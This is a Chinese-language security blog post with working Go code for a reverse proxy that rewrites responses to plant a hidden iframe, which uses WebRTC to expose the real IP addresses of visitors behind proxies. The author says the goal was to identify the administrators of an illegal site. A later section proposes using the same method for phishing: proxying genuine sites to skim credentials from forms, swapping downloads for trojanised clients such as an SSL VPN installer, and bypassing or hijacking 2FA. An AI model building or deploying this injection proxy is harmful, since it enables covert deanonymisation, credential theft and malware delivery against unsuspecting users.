0x01 背景说明
在某次项目中,由于获取到了非法网站的后台账号密码,但是没有后台管理人员的真实IP,导致项目无法进行下去,于是有了这篇文章,突破该点可以利用以下方式:
image-1661841337598
由于笔者当前使用golang比较多,就想到了可以使用golang的反代技术实现该项目是需求。那么分析下我们需要实现的几个小目标:
1、可以简单的进行反向代理
2、可以通过webrtc获取到代理后的真实IP

ps: 本文不对webrtc在不同浏览器、不同环境下无法利用的问题进行讨论。

0x02 代码实现
在golang中,可以很简单的去反向代理一个网站,因为golang中自带了一个NewSingleHostReverseProxy的方法,简单的实现代码如下:

package main

import (
  "log"
  "fmt"
  "net/http"
  "net/http/httputil"
  "net/url"
)

func main() {
  target, err := url.Parse("https://www.javaweb.org.cn")
  if err != nil {
    fmt.Println("err:", err)
    return
  }
  fmt.Printf("反向代理站点 -> %s \n", target)

  proxy := httputil.NewSingleHostReverseProxy(target)

  d := proxy.Director
  proxy.Director = func(r *http.Request) {
    d(r)                 // 调用默认的director
    r.Host = target.Host // 设置反向代理中request的host头信息
  }

  log.Fatal(http.ListenAndServe(":8888", proxy))
}

运行上面代码后,访问http://127.0.0.1:8888,就可以看到被代理的网站内容
image-1661841395855
可以看到很简单的就完成的反代这一小目标,当然我们不仅仅满足于当前结果,我们的目标还有要获取到真实IP,关于如何获取到代理后的真实IP,可以了解下webrtc技术,本文不科普webrtc技术如何获取到真实IP的原理,有兴趣的小伙伴可以到https://github.com/diafygi/webrtc-ips进行查看。

在已经有反向代理的前提下,那么要完成webrtc获取ip的模板,其实主要就是要修改反代后的网站源码,使其嵌入一个iframe,这样就可以神不知鬼不觉的达到欺骗+获取代理后真实IP的需求,具体实现的核心代码如下:


package core

import (
  "bytes"
  "fmt"
  "github.com/gin-gonic/gin"
  "io/ioutil"
  "net/http"
  "net/http/httputil"
  "strconv"
  "strings"
  "time"
)

// response修改
func ModifyResponse(resp *http.Response) error {
  var respBodyByte []byte

  if resp.Header.Get("Location") != "" {
    resp.Header.Set("Location", strings.ReplaceAll(resp.Header.Get("Location"),
      fmt.Sprintf("%s://%s", scheme, host), WebDomain))
  }

  respBodyByte, err := ioutil.ReadAll(resp.Body)
  if err != nil {
    return err
  }

  err = resp.Body.Close()

  if err != nil {
    return err
  }

  if resp.Header.Get("Content-Encoding") == "gzip" {
    resp.Header.Del("Content-Encoding")
    respBodyByte = unGzip(respBodyByte)
  }

  // 实时打印代理情况
  fmt.Println(time.Now().String(), resp.Request.Method, resp.Request.URL.String())

  respBodyByte = bytes.Replace(respBodyByte, []byte("<body"), []byte(fmt.Sprintf(iframeContent, WebDomain, WebRtcPath)), -1)

  respbody := ioutil.NopCloser(bytes.NewReader(respBodyByte))
  resp.Body = respbody
  resp.ContentLength = int64(len(respBodyByte))
  resp.Header.Set("Content-Length", strconv.Itoa(len(respBodyByte)))

  return nil
}

// 反向代理
func handleReverseProxy(ctx *gin.Context) {

  director := func(req *http.Request) {
    req.URL.Scheme = scheme
    req.URL.Host = host
    req.Host = host
  }
  proxy := &httputil.ReverseProxy{Director: director}
  proxy.ModifyResponse = ModifyResponse
  proxy.ServeHTTP(ctx.Writer, ctx.Request)
}

主要的核心就是使用对proxy.ModifyResponse的值改为我们自定义的方法ModifyResponse,在ModifyResponse中对response进行解析和修改,我们要实现当前项目的需求,最简单有效的办法就是替换所有<body该字符串为我们自定义的字符串,替换为

<body><iframe name='hideFrame' style="display:none;" src="%s/%s"></iframe></body><body

这样反代的网站是有两个body,但是不会影响布局以及展示内容,且将iframe进行隐藏不显示,让其在背后静默访问,最终效果如下图所示:
image-1661841443472
可以看到在第一个body中插入了我们的iframe,但是整个网页状态以及使用都是正常没有问题的。
image-1661841453780
同时二进制目录下会生成两个log文件,一个为访问日志,一个webrtc日志。
image-1661841466799
image-1661841471075
在访问后可以看webrtc.log日志文件,该日志内容中会将webrtc获取到的ip打印出来。
至此,我们的两个小目标都完成了。
0x03 抛砖引玉
我们可以思考下,既然可以修改返回包,那么是否是仅限于对于获取真实IP这样一种场景呢?答案肯定是否定的,在当前的钓鱼网站中,大家很多都是一个html+一个exe马,诱导下载执行,又或者是带表单提交的一个动态网站页面,诱导其输入账号密码。

为什么我们不能直接反向代理他真正的网站,通过注入js、修改html源码,来达到截取表单信息、替换二进制文件等过程呢?在可以反向代理+修改response包的情况下,最高效好用的就是,这个钓鱼网站就是真的,我们对真正存在的网站进行反向代理,整个系统所有所有的功能都可以正常运行,从而让受害者神不知鬼不觉的进入圈套。比如下图这种逻辑:
image-1661841504079
在研究这个方向的过程中,发现某信服sslvpn新版本打开后会强制要求下载sslvpn客户端,这样的话我们一个诱导性极强的域名+绑马的sslvpn客户端即可。对于其他的一些思路,大家可以在多想想看,比如是否可以绕过2fa认证?是否可以劫持2fa认证等方面的场景。

又或者,当做蜜罐,通过注入带有jsonp的脚本,可以直接获取到相关访问者的网络ID等信息,并且控制器在访问敏感路径或文件的时候直接返回404阻断其获取敏感信息。
image-1661841520215

0x04 相关源码
https://github.com/iiiusky/webrtc-proxy